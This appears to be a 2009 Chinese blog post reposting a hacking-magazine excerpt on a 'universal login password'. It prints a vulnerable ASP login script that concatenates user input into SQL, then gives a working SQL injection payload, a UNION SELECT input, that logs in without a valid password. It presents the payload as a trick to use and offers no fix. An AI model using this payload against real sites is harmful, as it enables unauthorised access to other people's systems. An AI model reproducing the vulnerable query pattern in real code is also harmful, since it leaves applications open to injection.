Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2280604
  • 博文数量: 181
  • 博客积分: 9990
  • 博客等级: 中将
  • 技术积分: 1865
  • 用 户 组: 普通用户
  • 注册时间: 2006-05-23 09:43
文章分类

全部博文(181)

文章存档

2011年(40)

2010年(17)

2009年(87)

2008年(37)

我的朋友

分类: 网络与安全

2009-05-24 16:59:59

新型万能登录密码
黑手5月刊上oldjun的文章,
别人的样刊都到了,就TMB我的收不到-.-.
文章截取如下:
网上有很多这样的登陆验证代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
       checksysUser=FALSE
else
       passwd=trim(rs("pwd"))
       if passwd=password then
          Session("admin")=username
          checksysUser=TRUE             
           else
          checksysUser=FALSE
       end if
End if
rs.close
conn.close
if checksysUser=true then
       Response.Redirect("main.asp")
else
       errmsg="用户名输入有误,请重新输入!"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失
效.但如果在上面的程序中,用户名输入' UNION Select 1,1,1 FROM admin Where ''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' UNION Select 1,1,1 AS pwd FROM admin Where ''='
 
阅读(891) | 评论(0) | 转发(1) |
给主人留下些什么吧!~~